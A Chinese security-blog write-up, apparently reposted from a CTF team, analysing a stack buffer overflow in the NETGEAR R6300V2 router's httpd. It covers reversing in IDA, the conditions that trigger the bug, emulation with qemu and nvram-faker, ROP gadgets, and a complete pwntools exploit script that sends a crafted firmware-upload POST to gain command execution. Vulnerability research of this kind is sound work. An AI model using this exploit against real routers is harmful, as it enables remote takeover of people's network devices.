记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

NETGEAR httpd缓冲区溢出漏洞分析

2020-08-02 16:02

漏洞简述


NETGEAR,美国网件公司,其品牌的路由器六月份的时候爆出httpd缓冲区溢出漏洞,上传固件时由于对POST数据不正确的处理导致可以发生栈溢出,进而可以达到远程代码执行的目的。 本文针对NETGEAR的R6300V2路由器,固件版本号为 V1.0.4.36_10.0.93进行分析,着重分析触发漏洞的流程、条件,以及介绍修复路由器程序运行环境的两种手段。 https://blog.grimm-co.com/2020/06/soho-device-exploitation.html, 介绍了发现漏洞的思路,通过recv()的引用来寻找漏洞点也是一个非常好的思路。   https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.06.15-netgear/exploit.py, 也给出了EXP, 近乎包含所有受影响的版本。 

漏洞分析


本文针对NETGEAR R6300V2 V1.0.4.36_10.0.93进行分析。 
可以从
https://www.netgear.com/support/product/R6300v2.aspx#download获取R6300所有版本的固件。固件未进行任何加密保护,我们可以在解压出固件后使用binwalk -e直接获取到根文件系统。 
漏洞点出在
usr/sbin/httpd上,file一下可以知道使用的是ARM架构

将httpd拖进IDA进行分析,查看所有引用recv()的函数,发现sub_E6E8()调用了recv()来获得用户输入,再查看所有引用sub_E6E8()的函数,在sub_12F14()中有三处调用了sub_E6E8(), 着重分析sub_12F14()+1368处的引用。

此处的逻辑为读取用户http请求,检查http请求头,sub_18968()对请求进行处理, 执行流程图如下: 



R11寄存器初值为0,首先进入检查HTTP请求头分支,若检查通过,R11寄存器值变更为1,进入请求处理分支。
顺着代码执行路径来看看HTTP请求头检查分支, 检查逻辑如下。 


也就是说请求头中必须有Content-Disposition:Content-Length:upgrade_check.cgi 或者 buckup.cgi 或者 genierestore.cgi, 如果是upgrade_check.cgi还必须有Content-Type: application/octet-stream 或者 backup.cgi
再看看请求处理的逻辑  


存在name=\"mtenFWUpload\以及\r\n\r\n即可进入sub_18698(), 栈溢出就发生在sub_18698()中。

这里选用了*#$^后四字节数据作为memcpy的长度,这意味着我们能够伪造长度发生栈溢出。

总的来说,要触发栈溢出需要满足以下几个条件:

  1. 通过HTTP请求头检查

  2. 存在name=\"mtenFWUpload\以及\r\n\r\n

  3. POST数据开头应为*#$^

模拟运行,构造EXP


firmadyne模拟运行失败,只好qemu来单独模拟运行httpd,运行的时候碰到了以下几个问题:1. 缺乏硬件的模拟,nvram相关函数错误。2. 其他一些函数无法正常执行下去。

为了解决这两个问题,我采用了最常见的两种修复方式:.so劫持 以及 patch

借助nvram-faker(https://github.com/zcutlip/nvram-faker)劫持了acosNvramConfig_getacosNvramConfig_matchacosNvramConfig_setacosNvramConfig_read这几个函数, 编译好.so只需要向nvram.ini写入需要的配置信息即可。

对main函数进行大概的分析,最后的sub_12F14(80);才执行了bind(),accept()等操作,因此我采用了比较暴力无脑的patch方法,只要前面哪边执行发生段错误就把哪边patch掉,确保能执行到sub_12F14(80);就好。

能够调试了以后就开始寻找ROP了,下面有两种ROP的思路。

  1. 直接跳到system($sp)  


    这种方法最为简单,提前在sp处放好命令,跳到这边就能够任意命令执行。

  2. 其他的ROP  
    通过调试,发现能够控制
    sl寄存器所指向地址里的数据。 
    0x00042098 : mov r0, sl ; add sp, sp, #0x84 ; pop {r4, r5, r6, r7, r8, sl, pc}  
    控制sl寄存器所指向地址里的字符串为需要执行的命令,配合这条ROP转跳到system同样可达到任意命令执行的效果。

from pwn import *

data1 = "*#$^"
data1 += "\x00\x00\x08\x00"
data1 = data1.ljust(0x64, 'A')
data1 += p32(0) # r4
data1 += p32(0) # r5
data1 += p32(0) # r6
data1 += p32(0) # r7
data1 += p32(0) # r8
data1 += p32(0x00042098) # ra. ROP

data2 = 'a'*0x84
data2 += p32(0)*6 + p32(0x00013CC8) # ra. mov r0, s1;
data2 = data2.ljust(0x110,'B') + 'ls\x00'

payload = ''
payload += 'POST /upgrade_check.cgi HTTP/1.1\r\n'
payload += 'Host: 192.168.124.141\r\n'
payload += 'Content-Disposition: AAAA\r\n'
payload += 'Content-Length: {}\r\n'.format(len(data1)+len(data2)+1)
payload += 'Content-Type: application/octet-stream\r\n'
payload += 'name=\"mtenFWUpload\"\r\n'
payload += '\r\n'
payload += data1 + data2

print(payload)

p = remote('192.168.124.141',80)
p.send(payload)
p.send('a'*0x400)
p.interactive()

本来应该是有个实机测试的,但咸鱼上买来一个二手的竟然坏的没法用orz。   
以上patch过的httpd以及libnvram-faker.so都放在了github里,
https://github.com/g3n3rous/R6300V2-patched.git



end


万年招新小广告

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org




知识来源: https://mp.weixin.qq.com/s/bDCOmABucnhPfquvEmH0hA

阅读:15779 | 评论:0 | 标签:溢出 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“NETGEAR httpd缓冲区溢出漏洞分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云